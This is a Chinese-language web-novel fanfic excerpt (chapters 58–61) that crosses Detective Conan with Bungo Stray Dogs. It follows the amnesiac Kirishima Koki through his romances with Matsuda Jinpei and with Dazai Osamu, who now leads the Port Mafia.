狼狈的时候,雾岛光希喜欢自己和自己待在一起,因为那样才不会令他显得丢人。 要松田阵平怎么把“因为保护人质牺牲”的话和雾岛光希这人联系到一起。 “我超速回了警察厅。”松田阵平平静地重复出了那时的场景,“结果连你的尸体都没看到。负责处理的法医说你的家属在这里大吵了一架,一定要先把你的尸体带走。” 后面的话松田阵平没听见。 年轻的刑警背影依旧挺拔,松田阵平靠在楼梯间里,直到一个戴着鸭舌帽的身影从自己身边匆匆路过,松田阵平才平淡地说了句【“我都不知道他有什么家人”】。 那个戴着鸭舌帽的身影停顿了一下,露在外面的金发被风轻轻吹动,很快又加快了前进的步伐。 松田阵平从不觉得雾岛光希死了。 雾岛光希那家伙多气人,刚入学的时候就自带了种【我和你们不一样】的傲气,说话做事丝毫不顾及别人的感受,然而真正惹人生了气又会露出迷茫的神情。雾岛光希是个会认真评估谁对谁错的烦人家伙,一旦被萩那家伙说服是他自己有问题,就会别扭地送礼道歉,还要偷偷观察他们收到礼物时的表情。 不管有多少人和他描绘子弹穿出雾岛光希的胸前,从高楼上坠下的画面,松田阵平也不相信他死了。 事实证明的确如此。 “别墅的事我很抱歉。”在雾岛光希的注视下,松田阵平头疼道,“我那时候没想那么多,你要是生气也是理所当然的。” 被帕比追着的小猫喵地叫了一声。 帕比转过脑袋,雾岛光希盯着松田阵平,依旧没有说话。 【他身上有和在水族馆时一样的气息】 松田阵平听见了他的心声。 【这是不开心的气息】 【我没有生气】 雾岛光希没有一点对所谓“母亲”的记忆,他只记得自己有个哥哥了。 【但说我不生气的话,就显得我很没有良心】 雾岛光希深思熟虑,虽然现在还被按在沙发上,但还是哥俩好似的拍了拍松田阵平的肩膀:“我明白了。” 松田阵平心里的那点愧疚被他搅得不知所踪,有点气笑了:“你先别明白。” “所以你亲我是因为不开心。” 松田阵平:“我都说了你先别明白。” 雾岛光希充耳不闻:“如果这样有用,那你以后不开心的时候,就由我来亲你好了。” 松田阵平发现了一个事实。 雾岛光希以为他们交往了很久。 雾岛光希还以为他是上面的那个。 但雾岛光希当不了上面那个。 “是吗。”松田阵平似笑非笑,“你有这么勤劳?” 雾岛光希说有。 可雾岛光希懒得动。 松田阵平是真的觉得他是白痴,然而松田阵平现在就算说他是白痴也没关系。 …… 今时不同往日,雾岛光希连那个寺庙在哪都忘了。 他现在可没地告状—— 作者有话说:*松田的大概还有一两章,下一个分线你们想看啥,嚼嚼嚼 第59章 从杂志社那里听说有人在打听自己,雾岛光希不得已辞掉了工作,又把自己的头发染了回来。 随着记起的痛苦的事情越来越多,雾岛光希的失眠也越来越严重,帕比对此感到了十成的担忧,跟乌鸦反哺一样,时不时地就带点亮闪闪的东西回来哄他。雾岛光希有次看到它飞累了,索性就站在一身白的怪盗身上,跟搭顺风车似的,不知道哪天就上了搜查二课的通缉令。 “老鹰也可以有悬赏金吗。”雾岛光希研究着铃木财团发布的征集线索的新闻,若有所思地说出这句话的时候,帕比正在得意洋洋地整理着它自己的羽毛。 帕比很大只,它展翅时超过两米,在公寓里完全活动不开,除了雾岛光希失眠的时候,大多时间都在外面打猎。 帕比不属于这里,正如同雾岛光希藏着那把之前从通缉犯身上搜刮来的枪,几次瞄准了房间里的花瓶,却因为担心被松田阵平发现而没有扣下扳机一样。 这令雾岛光希感到心烦意乱。 但尽管失去了记忆,雾岛光希依旧能把不想让别人知道的事藏得很好。 “嫌疑人坚决否认是因为分赃不均杀人的事实。” 佐藤美和子在电话里和松田阵平说着这起案件的情报时,松田阵平单手插兜,正看着窝在沙发上看新闻的雾岛光希。 “现场还找到了个笼子,嫌疑人称那是受害者用来关猫的笼子,对方似乎有虐猫的爱好,不知道那只猫是不是在混乱的时候逃跑了。” 新闻里播放着铃木财团新开业的大楼,雾岛光希打了个哈欠,瘦骨嶙峋的小白猫跳上他的膝盖时,朝雾岛光希叫了一声,雾岛光希低下眼,只能腾出毯子里的手,摸了摸它的脑袋。 青年的手腕纤细,毛衣的袖子被蹭起来一截,露出暧昧的红痕。 “不过根据现有的证据,还是内部作案的可能性比较大。” 佐藤美和子在电话里道。 “怎么可能有人能在一分钟内杀完人,还把作案嫌疑转向另一位在场的嫌疑人。” 松田阵平挂断电话,抬腿走向客厅的方向。 他走路时没发出什么声音,雾岛光希又困得快睡着了,最后反倒是那只窝在雾岛光希腿上的小猫率先发现了他。 松田阵平还记得,之前在水田公园,之所以破了那个案子,也是因为这样一只瘦骨嶙峋的小猫。 “不去床上睡吗。”松田阵平问他。 雾岛光希含糊地应了一声,索性在沙发上躺下了。 “明天我要回警校一趟。”松田阵平道,“你要不要一起去?” 雾岛光希完全听不进他的话。松田阵平已经尝试过,处在这种情况下的雾岛光希,无论问他什么他都会答应。 小白猫喵地叫了一声,从雾岛光希的身上跳下去,看着松田阵平把人从沙发上抱起来。 雾岛光希朦胧中睁开眼,也许是发现了此时的松田阵平别有心事,强撑着精神亲了他一下。 银色的发丝落入松田阵平的颈窝,松田阵平注视着彻底睡着的某人,牙齿咬上他的唇瓣,按着雾岛光希的后颈,趁人之危地亲了回去。 这个吻一点也不轻柔,带着些攻击性。 雾岛光希喘不过气,不得不醒来,用眼神质问他【干什么】。 松田阵平却停了手。他笑了声,抱着他躺在单人床上。 “我会找到新的证据的。”松田阵平道,“我知道不是你。”- 证据链部分缺失,剩余的证据指向雾岛光希。 可雾岛光希的存在只有松田阵平知道,就跟雾岛光希最近学会了怎么使用异能,也只有松田阵平知道一样。 心里的咒骂到最后变成小声的气音,处在不应期的身体被反复打开,在发现自己情绪激动的时候就会搞出爆/炸后,刚回忆起怎么使用异能的雾岛光希不得不分出心神,以免自己把松田阵平吓了。 他整个人都在颤抖,偏偏松田阵平却眉头一挑,在此时毫无预兆地用力,令雾岛光希在小猫挠门的声音里彻底丧失了力气。 从那时起,松田阵平最常听到的声音就是【松田阵平是傻叉】,要么就是【松田阵平逆天而行,他会遭报应的】。 “你、他——”见到两人同时出现,鬼冢教官在发现两人之间不同以往的气场后,噎了半天说不出一句话,“伊达知道吗?” “我又没故意瞒着谁。”松田阵平把人扔给鬼冢八藏后,就随意地摆了摆手,去给新生上课了。 皮鞋踩过地上的灰尘,在走出办公室前,松田阵平回头,对着翻开警校课本的雾岛光希道:“两个小时就回来找你,不要乱跑。” 【……他把我当什么了】 要不是碍于鬼冢八藏在场,雾岛光希都想揍松田阵平一顿。 空旷的办公室只剩下两个人,鬼冢八藏如临大敌。 “雾岛啊。”他语重心长,“今时不同往日,你要是再把空调外机拆下来砸人的话,我绝对会报警的。” 雾岛光希莫名其妙:“我拆空调外机做什么,你自己不就是警察?” 鬼冢八藏忧郁,七年过去,脱离苦海的他想点根烟,又碍于松田阵平之前说雾岛身体不好,最后还是忍了下来。 雾岛光希听鬼冢八藏说了很多自己以前在警校时期的事。 因为被隔壁的同学阴阳怪气,就在对方出门约会时,当着别人约会对象的面把人家的车胎当烟花放了。对方嚷嚷着要把雾岛光希开出警校,降谷零就忍无可忍地拿出对方以诸伏景光的名义欺骗外校女生的证据。 这件事给诸伏景光造成了不小的冲击,诸伏景光连别人的手都没牵过,就莫名其妙多了十几个“男女朋友”。雾岛光希最后被流放去了警校门口站岗,他站岗也不好好站,那十几个男女生们闹上门的时候,雾岛光希就贴心地给出一张已经被开除的罪魁祸首的家庭地址,跟发传单一样发得大街小巷都是,没过两天又被流放去了刷澡堂。 雾岛光希其实挺爱打扫卫生的,但他不喜欢别人指使自己去打扫卫生。 “那天夜黑风高。”鬼冢八藏怀念道,“你把我房间的空调外机拆了下来,我一睁眼,发现外机被装在了室内,热风对着我吹。” 雾岛光希:“……” 他还会装空调呢,好厉害。 “你自己是不会装的。”鬼冢八藏眯起眼,“不是萩原帮你就是松田帮你,雾岛,老实交代,你同伙是谁。” 雾岛光希哪里记得这种事。 但鬼冢八藏一说,他倒是想起了自己那天兢兢业业地擦澡堂,有人在自己背后笑了声。 雾岛光希一抬头,就看到了那双紫色的眼睛。 眼尾微微下垂,黑色的中长发搭在肩上,笑起来的时候显得风流,语气却利落而温柔。 【“小雾岛。”】萩原研二扛着拖把问他,【“你是在清理犯罪现场吗?双氧水都用上了。”】 旁边有着蓝色猫眼的青年无奈,只是问他:【“为什么要这样做?”】 十六岁的雾岛光希回答,谁让他骂我不男不女。 诸伏景光一愣:【“井下是这样说的?”】 十六岁的雾岛光希继续用刷子刷瓷砖:【“他还说我是追求他失败,恼羞成怒才弄坏它的车。”】 降谷零和松田阵平对视一眼,第二天被流放的就多了他们两个。 “你那时候还挺幸灾乐祸的。”鬼冢八藏给自己泡了杯茶,“降谷和松田拖着井上,逼着他给你和诸伏道歉,诸伏还没说话呢,你就说让他给诸伏道,你又不需要道歉。” 雾岛光希:“为什么?” 鬼冢八藏:“你说你已经不生气了,需要报的仇也已经报了回来,但世界上又不是别人道歉你就要接受的,你不接受,井上不是真心的,你不想原谅他。” “然后诸伏就笑了下,说他也不原谅。” 雾岛光希的思维和寻常警察真的不太一样。他的行为在法律上有很大追究的空间,降谷零成天提心吊胆地,生怕雾岛光希有天真把他自己弄进监狱,于是联合了诸伏景光,把雾岛光希那“生气了就捅人一刀”的思维转变成“生气了就揍对方一拳”的思维。 萩原研二在旁边笑笑,问“这就不会被抓进去了吗”。 松田阵平撑着脸,半月眼“那还能怎样,就从他每天睡前揍我一拳看,他这辈子是不会改的了”。 现在的确时不时揍松田阵平一拳的雾岛光希有点心虚。 “你们几个关系那么好。”鬼冢八藏笑着说,“第四个月的时候,还约定过以后要时不时一起回来,替各自的部门选拔有潜力的新生呢。” “约定”。 雾岛光希咀嚼着这个词,怎么尝怎么苦涩。 “好吧。”松田阵平回来的时候,就听到他和鬼冢八藏说,“我会照顾好松田的。” 鬼冢八藏异常欣慰。 毕竟向来听不懂人话的雾岛光希终于学会说人话了。虽然倘若他此时知道雾岛光希都把松田阵平照顾成什么样了,他一定会大喊“不是这种照顾啊——!!” “谁要你照顾我。”松田阵平双手抱胸,倚在门框,“先把你挑食的习惯改掉吧。” 雾岛光希又找到了新的地方告状。 他转头,立即对鬼冢八藏告状道:“他不把吃饭的地方当吃饭用,害我重新买了个桌子。” 鬼冢八藏没听懂,但松田阵平低笑一声,在雾岛光希说出更多的话前把人拖走了- 大约过了半个月,仓库杀人案终于告破。 松田阵平提交了那份修复的录像,监控是周围一个早已倒闭的商铺装的,为了联系上业主,松田阵平这半个月走访了不少地方,才证明了雾岛光希那天的确只是路过。 他的倒霉散布到了周围。自己被绊了一跤不说,电箱也因为长期进水在那个雪天烧坏了,小白猫在笼子里被另一位嫌疑人踹了一脚,愤怒地从笼子里跑出,千斤顶的释放阀在上次警方追击他们时被撞得受损,被小白猫一撞,犹如压倒骆驼的最后一根稻草,夺去了犯人的生命。 爬起来的雾岛光希莫名其妙,他听见尖叫,刚往前走了几步,就看到叼着枪的小白猫站在小巷的另一头,仿佛受了很大委屈地盯着自己。 雾岛光希蹭去了它脑袋上的雪,将它带回了家。 【话是这么说的,但松田肯定怀疑过我】 “我可没有怀疑过你。”像是知道雾岛光希心中所想般,松田阵平调笑道。 他那双蓝眼睛注视着他,一字一句地说:“你不是做了事不承认的人。你说没做过,那就是没做过。” 雾岛光希说不出话,在心里暗戳戳地退避几分。 【他在我面前耍什么酷】 冬天要过去了。东京的气温好转,雾岛光希看了眼在厨房里准备晚饭的松田阵平,拿出砸在沙发坐垫下的文件。 【“您是异能力者。” “我不是。” “只要您愿意签订这个合约,特务科自然会令你得到相应的报酬。” “什么报酬?”】 松田阵平不在的时候,公寓里迎来过新的客人。上次差点被雾岛光希拧断手臂的官员坐在餐桌对面,他西装革履的,黑色的手提箱放在一边,面前摊着刚刚被雾岛光希推回来的文件。 【“密鲁菲奥雷曾经想通过他们控制住您。”】特务科的成员礼貌道,拿出手提箱里的另一份文件,【“因为是这个世界的异类,所以当发现他们还活着后,特务科就立即将他保护了起来。”】 雾岛光希当时拒绝了这份交易。 然而特务科的人并未生气,只是将文件留了下来,让他不要操之过急地做出决定。 除了特务科的人外,雾岛光希实际上已经与那天那个叫海野的人见过面了。对方一见他就半跪在地,问他什么时候回港口黑手党。 新年是可以许愿的时节。 “喂。” 松田阵平关上冰箱,回过头时,雾岛光希就趴在沙发上,支着脑袋,懒洋洋地问他。 “送你个礼物要不要?” 一帆风顺的平静生活被打破,松田阵平并不意外,哂笑着问他:“记起多少了?” “记起我其实很有钱。”雾岛光希口吻随意,“记起了好多事,痛苦的,幸福的。你把易容的我当犯人,扯我头发,跟着我跳下瀑布,告诉我是通过腰后面的疤才认出我,说要追我——” “别误会。”雾岛光希翻了个身,悠闲地看着从警校顺回来的课本,“我都习惯同时打几份工了,暂时没有要走的意思。而且我现在可是有着合法的身份,你别想抓我。” 【松田一定觉得我很好追】 【要不是本来就有那么点喜欢他,我才不好追】 阴影从头上洒了下来。 雾岛光希将书翻了一页,这才将挡住脸的书移开。 “沙发是用来休息的。”雾岛光希说。 松田阵平什么也没做,那双蓝色的眼睛明朗,他低下身,身影仿佛和二十二岁在鼻子上贴着绷带的青年重合在一起。 ——我鼻子断了,雾岛,你死定了。 ——不会断的,我没那么用力。 ——呵呵,一拳打碎木桩的人也好意思这么说吗。 ——断了就赔你钱。 ——这是钱的问题?! 十六岁的雾岛光希被迫放下报纸,他看着咬牙切齿的松田阵平,叹了口气。 ——好吧,知道了,我会负责。 ——你负责什……喂!!雾岛!你爬到我身上干什么!下去!你是变态吗!我要是真还你一拳你又要和萩告状了吧!……下去!下去啊混蛋! “这也是你照顾我的一环?”松田阵平记仇地问他。 “嗯……”雾岛光希想了想,“反正我比您小六岁,等您不行了,我就——” 雾岛光希那天是在没什么意识的情况下吃进的饭。 生理性的泪水从眼角滑落,没入散开的银发中,被他惹生气的松田阵平没让雾岛光希说话,却在某一刻停了下来。 雾岛光希的心声说:【他要是不亲我,我就能告诉他我喜欢他了】 雪花在房顶消融成水珠,打在松田阵平的心头。 睡着以前,雾岛光希恍惚中听见松田阵平的声音。 爆/炸物处理班年轻的组长,搜查一课最具希望的刑警。 松田阵平说:不用你告诉我我也知道。 松田阵平还说:到底是谁照顾谁啊 阳光缓慢地照进了客厅。 ——你们两个之后该怎么办? 雾岛光希累得睡着了,呼吸平静而悠长,就跟当初他刷了几块瓷砖,就坐在一遍指使松田阵平干活一样。二十二岁的松田阵平捏着拖把,正想骂他,回过头去却发现他靠在萩原研二的肩膀上,阖着眼睛,而自己的幼驯染却神神秘秘地对自己竖起一根手指,示意不要出声。 松田阵平看着雾岛光希,最后的最后,又说。 我们会一直在一起。 只有这件事,我会证明给你看的—— 作者有话说:*hagi活着的活着的 第60章 太宰治最近很开心。 他一开心,港口黑手党底下的人就开心。毕竟雾岛光希不在的那段时间,当上首领的太宰治连路过的蚂蚁也能微笑着怼上几句,别说任务失败了,就算任务失利,港口黑手党的人也得在门口抽上几根烟再拐弯抹角地汇报给中原中也,他们打心底里对自己的首领充满恐惧,并认为中原中也是唯一可能救下他们的人。 雾岛干部回来以后就不一样。 尽管雾岛干部的记忆好一阵坏一阵地,但开会的时候雾岛干部光坐在那里就赏心悦目,他的笔在文件上划过一点,太宰治的心情就好上一点。 这样的愉快终止于太宰治听说雾岛光希带芥川龙之介出了差。 少年是太宰治十八岁那年捡回来的,原因是芥川龙之介的罗生门很有发展的潜力,雾岛光希又总是为太宰治没有真正彻头彻尾属于他的部下而时不时感到担忧。 “我也要订去法国的机票。”完全无视了中原中也的报告,太宰治从得到雾岛光希出差的消息的那一刻,就开始了在手机上预定机票,策划偶遇的阴险计谋。 中原中也头顶青筋:“你要是这么担心,一开始开会的时候让雾岛留在这里不就好了。” 太宰治抬眼,同情地看了中原中也一眼。 “你真是什么也不懂啊,中也。”太宰治说,“我如果阻止光希出门,邪恶的山本君就会拿这件事在光希面前抨击我。我现在在光希眼里可是宽容随和的形象,绝对不可以被这种小事破坏掉。” 这辈子也没想到宽容和随和这两个字能用来形容太宰治,中原中也:…… “哦。”中原中也面无表情,“所以你现在没有用奇怪的手段监视雾岛的癖好了?” 太宰治一本正经:“我从来没有用过那种手段哦。绝对不是因为我那样做被光希发现了会生气,更没有黑进警察的网络通过路上的监控看他,光希爱和谁交朋友就和谁交朋友,我才不会因此和以前一样发脾气。” 中原中也:。 你自首了吧!你刚刚绝对是自首了吧!你刚刚的确说了什么黑进警察的网络没错吧! 中原中也心如死水,早就习惯了太宰治的卑鄙无耻,因此将注意力集中在了后半句。 他眯了下眼,毫不客气地问太宰治:“真的?他和谁交朋友都无所谓?他就是他不喜欢你也可以的意思。” 太宰治用他那颗聪明的脑袋思考了会这个问题。 太宰治:“最好不要。” 中原中也:“最好是什么意思。” 太宰治:“虽然我对白兰君重启时间线的想法没什么兴趣,但要我看着光希和别人在一起,这和中也穿裙子在警局门口跳踢踏舞有什么区别。” 中原中也:“……” 这个比喻太过惊悚,就算是中原中也也反应了两秒才反应过来。 “你有病啊!”中原中也恼羞成怒地吼他。 太宰治的确有病。 他有病到根本不觉得自己有错,而且完全不打算治疗- 雾岛光希觉得芥川龙之介和小时候的太宰治有点像。 虽然织田作之助在听说这句话的时候难得沉默了半分钟,并委婉地建议小孩子可以适当地放养。 “所以织田先生也认为是我的错?” 织田作之助难以回答这个问题。 雾岛光希因为失忆而接受治疗后,情况不是很稳定,负责治疗他的是港口黑手党的上任首领森鸥外,在发现只要稍微刺激一下雾岛光希,他的记忆就会发生倒退后,森鸥外前几个月背着太宰治玩得乐此不疲,直到雾岛光希自己发现不对劲,开始每天在纸上记录重要的事。 这个情况当然瞒不过太宰治。 青年如今虽然已经是首领了,但在织田作之助面前依旧没有首领的架子,偶尔还是会用孩子气的口吻抱怨:“光希难道不是只要依靠我就可以了。” 织田作之助平静地打断太宰治的话:“以雾岛干部的体术水平,让两只手说不定可以。” 太宰治立即嚷嚷起来:“啊!织田作难道不是应该站在我这边的!” 言归正传,同样带了几个孩子,织田作之助并不认为有问题的完全是雾岛光希——尽管脑髓地狱对太宰治本人充满了敌意,他似乎认为太宰治是雾岛光希最近不愿意抱着他睡觉了的罪魁祸首。 “我认为您多虑了。”深思熟虑之下,织田作之助给出了一个较为稳妥的回答。 雾岛光希的那双灰色的眼睛倒映出织田作之助的侧脸,青年笑了下,随即动作自然地抿了口酒:“织田先生。”他道,“我没这么容易受到打击。” 雾岛光希对于同性的行为很陌生,更不可能对自己养大的孩子抱有任何异样的感情。当初察觉到太宰治的心思后,雾岛光希的确吓了一跳,但大概是那天找到带着帕比逃跑的自己时,太宰治的身影和他小时候重叠在了一起,令雾岛光希一下子就找回了失去的记忆。 他有不能伤害太宰治的理由。 更有不能接受太宰治的理由。 “我没说您会因此受到打击。” “您为什么一直和我用敬语说话。” “雾岛干部,您也在用敬语。” “我不用的话,你也可以不用了吗?” “恕我拒绝。”织田作之助礼貌回应,“我还不想花费更多的时间应付太宰。” 雾岛光希临走的时候付了酒钱。 凌晨两点的深夜里,港口黑手党的大楼还亮着灯,雾岛光希带着文件去首领室见太宰的时候,青年已经脸朝下地趴在一堆文件里睡着了。 雾岛光希沉默片刻,伸手碰了碰太宰治的脉搏。 “别装睡。”雾岛光希说。 他一开口,太宰治就睁开了眼睛。 里世界的噩梦静静地坐在那里,太宰治在这样的氛围里凝视了雾岛光希一会,随即扯动唇角,轻轻地喊了一声“光希”。 “光希。”太宰治说,“我好想你。” 太宰治这两年成长了不少。他的身高抽芽,以惊人的速度达到了和雾岛光希同等的高度,并且还在长高。 雾岛光希开始理解森鸥外曾经有些害怕太宰治的原因。 因为随着太宰治的长大,连雾岛光希也有些捉摸不透,太宰治在自己面前展露的所谓的人性,究竟是本身存在的,还是装出来的。 雾岛光希眼也不眨:“算上来回,我也就出差了三天。” 太宰治:“三天就是72个小时,对黑手党来说也很久了呢。” 港口黑手党在太宰治的规划下统筹重组。也不知道太宰治是抓住了藤原他们的什么把柄,竟能逼着他们为港口黑手党做事。七十二个小时内毁灭一个家族,是太宰治担任首领以来做的第一个震惊里世界的事。 【再说了】 雾岛光希听到他的心声。 【傻瓜鸟他们几个也很麻烦,听说前几天还送了光希只鹦鹉,这不是挑衅我是什么】 鹦鹉是雾岛光希以前对傻瓜鸟的比喻。叽叽喳喳的小鸟在求偶时会拔下自己的羽毛,一旦对方不明所以地接受了,那在小鸟的眼里就是对方接受了自己求偶的意思,除非雾岛光希给他生一个小小鸟,那不然小鸟就会抑郁而死。 雾岛光希的脑回路没有太宰治这么九曲十八弯的,他忘了太宰治知道自己能听到他心声的事,听到小小鸟这个词时一脸震惊,全身上下都开始不自在。 雾岛光希:“……” 雾岛光希:“你是不是压力太大了?” 太宰治:“好耳熟的话。” 雾岛光希一时间没记起自己什么时候说过这句,他面露迷茫,太宰治却撑着脸看他,风轻云淡地说了句“骗你的”。 但雾岛光希知道太宰治在撒谎。 雾岛光希一手养大了他,哪里不清楚小朋友什么时候伤心,什么时候难过。 尽管这个世界上会称呼太宰治为小朋友的也只有雾岛光希。 太宰治的体术在港口黑手党是中下,可真要斗起来,配上他那颗聪明绝顶的脑袋,这世上没几个能赢得过他的。 太宰治比森鸥外的更恐怖的地方在于,他对横滨并没有特殊的感情,对日本更没有特殊的感情,他决定起人的生死时,和注视一只蚂蚁一样不留情面。 可太宰治的确有些改变了。 他一点也不喜欢森鸥外的最优解。 看到雾岛光希自爆的那天,太宰治就下定决心,要创造出一个让光希永远感到幸福的世界。 太宰治才不会告诉雾岛光希这点。 “唉。”十八岁的太宰治充满忧郁,“光希要是像我喜欢光希一样喜欢我就好了。” “。”雾岛光希左右看了看,在意识到自己并没有隐身后,短暂地瞳孔地震了片刻。 瞄一眼。 再瞄一眼。 瞄到第三眼的时候,太宰治听见雾岛光希说:“我没有不喜欢你。我比你想象得更爱你。” 太宰治知道这句话是真的。 虽然这种“爱”和太宰治所说的“喜欢”成分不同,但太宰治还是很开心。 太宰治在雾岛光希不知道的情况下录了音。 太宰治在中原中也面前显摆,在傻瓜鸟面前显摆,要不是显摆的时候被雾岛光希发现,面无表情地拖回了办公室,太宰治还能去隔壁彭格列显摆。 雾岛光希一生气,太宰治就会自动生个不足以致死的小病,他病恹恹的,看着着实柔弱又可怜,可全港口黑手党都知道,太宰治追到不太开窍的雾岛干部只是时间问题。 海野一在论坛上抱怨:[这明明是我的点子,谁把我追到雾岛干部的攻略偷走了] 太宰治实名制回复他,让他下班来自己的办公室。 海野一现在致力于在水泥地里种玫瑰,太宰治说种出来了就原谅他。 再次和织田作之助相约喝酒,又丢失了一段记忆的雾岛光希再次问出那个问题:“难道织田先生觉得这是我的错?” 织田作之助这次回了一句“嗯”。 就从雾岛光希无法拒绝太宰治这点,织田作之助和坂口安吾达成了共识。 彼时已经恢复特务科精英的身份,坂口安吾抿了口酒:“雾岛,祝你平安。” 雾岛光希没理解,他刚想继续追问,身后的风铃就响了起来。 太宰治没带伞,他的风衣被雨淋湿了,整个人异常无害地站在那里,见雾岛光希笑了笑,潜移默化地,跟已经交往了很久的情侣一样,由于语气太过自然,甚至让雾岛光希忽略了有关[太宰怎么知道我在这里]的问题。 “光希。”太宰治笑了笑,他走近时身上带着水汽,将雾岛光希的酒杯推远时,鸢色的眼睛里带了些平日作为首领命令人的意味。 太宰治说:“医生说你不能喝酒。怎么能抛下我一个人坐在这里。”—— 作者有话说:*安吾:太好了,被开除人籍了 *下个线写山本吧魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 60-63 第61章 太宰治对于雾岛光希处处充满了掌控欲。这种掌控欲出自森鸥外说的“光希君的身体是强弩之末,偏偏他自己还不太爱惜”。光希每天在那里,吃什么,会吃多少,这样的掌控事无巨细,当上首领的太宰治从不在雾岛光希面前戴那条象征身份的红围巾,每当尾崎红叶问起,青年的回答就是一句“我又不是为了当首领而当首领的”。 雾岛光希失踪的那段时间,太宰治偶尔会通过反复进入“幻境”来寻找线索。异能力者根据他的潜意识编造出的梦境,往往能令太宰治记起很多早就被他埋在记忆深处的东西。 二十岁的太宰治就安静地站在那里,看着十岁的自己从敌人的袭击中逃脱。火焰吞没了整个房子,玻璃也在火舌的舔舐中碎裂,十岁的太宰治看上去有些心虚,他似乎认出了戴着红围巾的青年是谁,装作满不在乎地问他“不是我故意做的,光希生气也没用”。 二十岁的太宰治完全没有安慰他的打算:“不是你故意把敌人引过来,让他们自相残杀成这样的吗。” 十岁的太宰治对于事态的发展还规划得不是很好。他的脸上带着细小的伤痕,浓烟把他的皮肤熏黑了,连带着缠着半张脸的绷带也被烧断。 二十岁的太宰治没走远了。 十岁的太宰治怕被骂,也可能是出于胆怯的心理,一句没出声,十七岁的雾岛光希就在火场里走了一遭。 即使是二十岁的太宰治也很少看到雾岛光希这样狼狈的时候。少年从火场里出来后,注视着躲在灌木丛里的小朋友,缓缓地蹲下身来。 十岁的太宰治闭了闭眼,他见过雾岛光希杀人不眨眼的样子,以为这家伙终于不装了,要用暴力质问自己。 可银发的少年只是笑了下,指尖蹭过小朋友的脸颊,声音却有些颤抖。 十七岁的雾岛光希说,太宰,别怕,是哥哥。 太宰治觉得,光希有的时候真的很迟钝。 他才不是因为以为光希是敌人而闭上眼睛。 十岁的太宰治问:[既然是哥哥,为什么我们连姓氏都不一样] 雾岛光希愣了下,没让他看到身后的尸体,也没因为失去的住所而生气,只是问太宰治:[你原来在意的是这个吗?] 十岁的太宰治撒了谎。 他说,我才不在意,就像我根本不觉得光希是我的哥哥一样。 好过分。 站在暗处的二十岁的太宰治想,他到底对光希说了多少过分的话呢? 雾岛光希还是没生气。 年轻的干部将十岁的太宰治抱了起来,他说:[没关系,就算这样,我也会保护你] 自从再次进入那个幻境后,尽管雾岛光希已经回到港口黑手党,太宰治也总是感到不安。 他的不安有迹可循,毕竟当他刚走出房间,黑蜥蜴的人就低着头汇报,敌对组织针对落单的梦野久作展开了进攻,德国小镇里的整条街道被摧毁。 为了不波及到当地的居民,光希又受了很多不必要的伤。 战争结束的那天,梦野久作的眼睛红红的。太宰治去接了机,摸了摸梦野久作的脑袋,难得没说出恶毒地说他是个笨蛋的话。 作为首领,太宰治说:“Q君,又不是你的错。” 你不是帮光希把敌人都杀光了吗。 梦野久作在那之后就很少撒娇了。 雾岛光希接受治疗的那段时间,太宰治闭门谢客。他开始模仿着雾岛光希以前照顾自己一样照顾他,虽然这个场面要是被坂口安吾看见,后者一定会吐槽“雾岛什么时候用这种手段照顾你了”。 太宰治毫无愧疚之心,毕竟他的初衷本来就是照顾雾岛光希。 二十岁的太宰治把办公场所搬到了雾岛光希的卧室,他困了的时候就窝在床边的沙发上睡觉,又或者是索性睡到雾岛光希的旁边。太宰治缠着绷带的手搭在沉睡的青年腰上,最后什么也没做,只是就着这样的姿势抱着雾岛光希,把头埋在他的肩膀里睡着了。 雾岛光希第二天醒来,由于受到惊吓,记忆又短暂地倒退了几年。 太宰治说:“太好了,光希,你终于醒了,其实我们已经结婚两年了呢。” 雾岛光希受到的打击更深,反而将倒退的记忆找了回来。 青年盯着太宰治看了会,倒也没打开太宰治摩挲着自己腰间皮肤的手,只是叹了口气,有些头疼地说:“我也不再年轻了,你执着别人去不行吗?” 这种话对太宰治而言,跟在勾/引他没什么区别。 光希不用他是他亲爱的欧豆豆为理由拒绝他了,这说明什么? 说明坚持就是胜利。 太宰治说:“不行。” 太宰治又说:“对我来说光希几岁都是一样的,就算再过五年十年,我也会一直缠着光希,除非哪天我能自杀成功。” 太宰治真的在努力地活下去。二十岁的太宰治比雾岛光希要高出一些,为了达成当初的目标,太宰治都勤劳到每天去陪着芥川训练,锻炼出绝对健康的身体了。 太宰治可不想在雾岛光希前面死掉。 他压根忍受不了光希因为自己死掉而难过,然后就有小三小四小五小中也趁虚而入。 雾岛光希就这么注视着太宰治看了一会,没做出回答,只是轻轻阖上眼睛,安心地睡着了。 身体好点之后,雾岛光希又开始工作。他是干部,随着港口黑手党的扩张,每个月都得出差几天。 出差的时候,雾岛光希就想,他毫无疑问是爱着太宰治的。但要说他对太宰治的感情里是否包括那种要戴上太宰治送的戒指的感情,那雾岛光希自己也不确定。 他和太宰太熟了。 熟到坂口安吾感慨:“要是知道死缠烂打就能追到你,那大概有很多人会想早知道当初就不嘴硬了。” 雾岛光希说了句:“太宰不一样。” 太宰治和其他人不同,不是可以轻易割舍的存在。 雾岛光希依旧没有开窍,然而对现状也没感到什么不满,他是典型的自作自受,就算有一天太宰治不再需要他,也能继续担任干部,花费十天半个月原谅太宰治的类型。 坂口安吾远目,听了雾岛光希的想法,只觉得太宰治果然还是能忍,至今没被他气成变态简直是个奇迹:“太宰不需要你的可能性,就跟A5158和太宰握手言和的可能性比较大。” 雾岛光希的眼眸微眯,身上一瞬间散发出煞人的气魄。 “喂,特务科。”他说,“中也有名字的。” 雾岛光希的底线是港口黑手党。 更确切地说,是代表着港口黑手党未来的年轻一代。 坂口安吾心平气和,擦干了自己公文包上的雨水:“就是这样,虽然我大概知道他们为什么谁喜欢你,但你如果要接受太宰,最好就掐断别人对你的那点苗头。” “雾岛君。”酒吧昏暗的灯光下,坂口安吾转过头提醒,“以太宰君的工作进度,那可不是每天能好好休息能达到的。” 太宰治很爱在雾岛光希面前装睡。 为了拆穿太宰治的计谋,雾岛光希也只好装睡一探究竟。 太宰治每天只睡两个小时。 惊奇地发现太宰治竟然比隔壁打工皇帝还卷,雾岛光希也没良心再装睡下去。 他开始愧疚地陪着太宰治加班,然而不管雾岛光希怎么打起精神,最后都逃不过先比太宰治睡着的结局。 雾岛光希有次发烧,把吃进去的东西都吐出来后才发现,因为自己的嗅觉很好,太宰治给他下不了药,索性就在亲他的时候将药顺势推入他的口腔。雾岛光希在那之后拒绝过一两次,他义正言辞地说自己身体还没有差到连熬夜都不行的地步,结果抗议最后以第二天下午从一点睡到了三点告终。 